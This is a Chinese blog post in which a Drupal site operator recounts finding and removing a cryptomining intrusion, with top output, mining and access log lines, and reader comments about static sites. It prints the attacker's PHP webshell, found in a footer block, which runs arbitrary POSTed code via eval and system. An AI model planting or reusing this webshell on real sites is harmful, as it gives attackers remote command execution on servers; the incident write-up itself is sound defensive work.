9月份就發現我們放置Drupal網站的阿裡雲服務器上出現了幾個奇怪的進程,每個進程都占用幾乎一個單獨CPU核心的100%,一台8核服務器上可能同時出現幾個這樣的進程,導緻服務器負載升高、用戶訪問變慢。和同事一起查了查,居然是被黑客入侵用戶比特币挖礦!同時阿裡雲的安全系統也給我們發來了警告提醒消息。
top - 17:43:03 up 26 days, 6:15, 5 users, load average: 9.76, 9.98, 10.22 Tasks: 296 total, 8 running, 288 sleeping, 0 stopped, 0 zombie Cpu(s): 97.6%us, 1.5%sy, 0.0%ni, 0.6%id, 0.1%wa, 0.0%hi, 0.3%si, 0.1%st Mem: 16330624k total, 7198784k used, 9131840k free, 191512k buffers Swap: 8388604k total, 0k used, 8388604k free, 1969652k cached PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 10573 apache 20 0 514m 80m 48m S 98.6 0.5 1:03.23 MXAW 10851 apache 20 0 514m 77m 47m S 98.6 0.5 1:01.95 MXAW 10578 apache 20 0 514m 80m 49m S 98.3 0.5 1:02.88 MXAW 10587 apache 20 0 507m 72m 48m S 98.3 0.5 1:03.53 MXAW 9624 apache 20 0 515m 82m 50m S 8.0 0.5 0:07.47 httpd 8456 apache 20 0 516m 86m 53m S 7.3 0.5 0:10.48 httpd 9795 apache 20 0 505m 71m 49m S 6.3 0.4 0:05.77 httpd
我們很多年前使用Windows服務器,在安全方面總是不太放心。後來改用Linux基本上就沒有遇到特别的安全問題了,沒想到現在居然被别人放置了可執行文件在裡面。但這個黑客比較狡猾,進程殺死後會定時自動重啟啟動,我們再找到進程執行的文件,去把文件也删除,但不久又會出現新的可執行文件。
同事經過查找資料、反複檢查,發現這些挖礦程序需要與黑客遠程的服務器交換數據,是一個拉脫維亞的IP地址,我們在服務器的IP Table裡面進行了封堵,這樣挖礦程序就失去了作用。這樣雖然不能從根本解決這個問題,但至少讓我們緩了一個月。在10月份再次發現挖礦進程,查明是更換了另外一個拉脫維亞的IP地址,我們再次封堵。但依然查不出來根源。
前幾天服務器又出現了挖礦進程,這次用IP Table封堵IP也不行了,雖然apache報錯日志(error.log)裡面看到大量無法連接服務器的報錯,但這種挖礦進程還是反複自動被啟用,耗費我們服務器的CPU資源。
[2017-11-14 00:48:18] Stratum connection failed: connect() timed out! [2017-11-14 00:48:18] ...retry after 10 seconds
隻好和同事一起再在Google裡面搜索一些英文資料,隻用百度查不出來什麼有用的中文資料,國内使用Drupal的網站也不算多。基本确定是一種webshell的木馬攻擊方式,用遠程web訪問來觸發啟動服務器上的挖礦程序。我們雖然封堵了挖礦程序與黑客服務器的溝通,但沒有查找到木馬源頭,無法從根本上阻止。
再檢查apache訪問日志(access.log),發現一個烏克蘭IP地址每隔一個小時來訪問一次被攻擊的網站,POST數據到一個php頁面,但這個頁面并不存在,日志中也是404 Not Found:
193.106.30.99 - - [14/Nov/2017:00:00:16 +0800] port:443 "example.com" "POST /writebab.php HTTP/1.1" 404 29 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0" 193.106.30.99 - - [14/Nov/2017:01:00:21 +0800] port:443 "example.com" "POST /writebab.php HTTP/1.1" 404 29 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0" 193.106.30.99 - - [14/Nov/2017:02:00:09 +0800] port:443 "example.com" "POST /writebab.php HTTP/1.1" 404 29 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0" 193.106.30.99 - - [14/Nov/2017:03:00:15 +0800] port:443 "example.com" "POST /writebab.php HTTP/1.1" 404 29 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
這就奇怪了,頁面本身不存在卻能夠觸發某種可執行程序,那也許在這個頁面内容以外、而在網站框架中某個地方。我們可以把這個烏克蘭的IP也屏蔽起來,實際看到就無法觸發我們服務器上的挖礦程序了,但這也不是根本辦法,對方可以換IP繼續來觸發。
再查了一些Drupal方面安全資料,安裝了Hacked!、Security Review、Drupalgeddon、Site Audit等來排查,沒有找到本修改的Drupal文件。後來想到可能是SQL注入,一般我們自己使用php代碼的地方可能有node頁面、block區塊、views查詢等幾個地方,就逐個排查,發現Block裡面有個Footer content,内容很可疑:
<?php
error_reporting(0);
if ($_COOKIE['i'] == 'path'){
$dir=getcwd().'/sites/default/files/plugins.php';
include($dir);
}
@eval($_POST['cmd']);
@system($_POST['cmds']);
?>
明顯不是我們自己編寫的,而是接收某種POST訪問,并用@eval執行POST上來的任意命令,極有可能這就是木馬源頭!于是我們把這個Block禁用掉。再去把那個烏克蘭IP解封,整點的時候觀察這個IP又來訪問不存在的頁面、POST數據,但卻沒有能再啟動挖礦程序了。
到此基本上應該是找到了源頭并進行了封堵,不過還要繼續觀察看看黑客是否還有另外的什麼招數。另外,Drupal的安全設置方面還有一些需要了解、嘗試,不應該能讓web訪問在我們服務器上保存可指向的挖礦文件,還有其它一些可能的漏洞,例如定時程序等,也需要繼續觀察、排查。
评论5
看來還是純靜态要安全些!
Drupal,Wordpress, Joomla,用起來總是有安全方面的顧慮。 看來還是純靜态頁面安全性高,Web服務器隻裝一個Nginx就可以了,Mysql、PHP都不裝。前後台分離,後台生成靜态Html實時同步到Web前台服務器。 個人想法,見笑!你說的隻把純靜态HTML暴露在外網當然要安全多了
你說的隻把純靜态HTML暴露在外網當然要安全多了,隻是看網站的功能是否滿足,我們的網站因為頁面數量太多,有些也需要經常進行一些調整,所以還是采取的動态生成的辦法。各種網站對于技術的需求不同,沒有統一的标準,你說的前後台分離的辦法也很好。
是的,技術服務于需求!
是的,技術服務于自身的實際需求。 前後台分離,适合純資訊類的站點。搜索用Google的CSE,評論用Facebook的社交插件,等等第三方服務很多。 查詢類的還是離不開數據庫。不過工具類的随着API的不斷成熟,單頁應用的技術不斷完善,純靜态化的單頁工具調用API已經很不錯了,也很安全。嗯,說得很專業👍,以後多多交流🤝
嗯,說得很專業👍,以後多多交流🤝
我是您的讀者,後學末進,請多指教。
我是您的讀者,後學末進,請多指教。 從第一次做firefox浏覽器下載推廣開始,入Google Adsense的坑已經很多年了。 好多人放棄了,轉型了。從兼職站長到專職站長,自己仍在堅持中。 從祁老師的書和博客學到很多,會經常過來學習的!